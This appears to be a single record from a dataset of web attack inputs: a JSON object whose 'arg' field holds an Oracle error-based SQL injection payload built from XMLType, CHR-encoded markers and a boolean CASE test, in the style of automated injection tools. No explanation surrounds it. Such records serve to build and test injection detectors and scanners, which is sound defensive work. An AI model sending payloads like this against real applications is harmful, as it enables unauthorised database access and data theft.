{"arg":"50' AND 8890=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(113)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (8890=8890) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND 'TkAc'='TkAc"}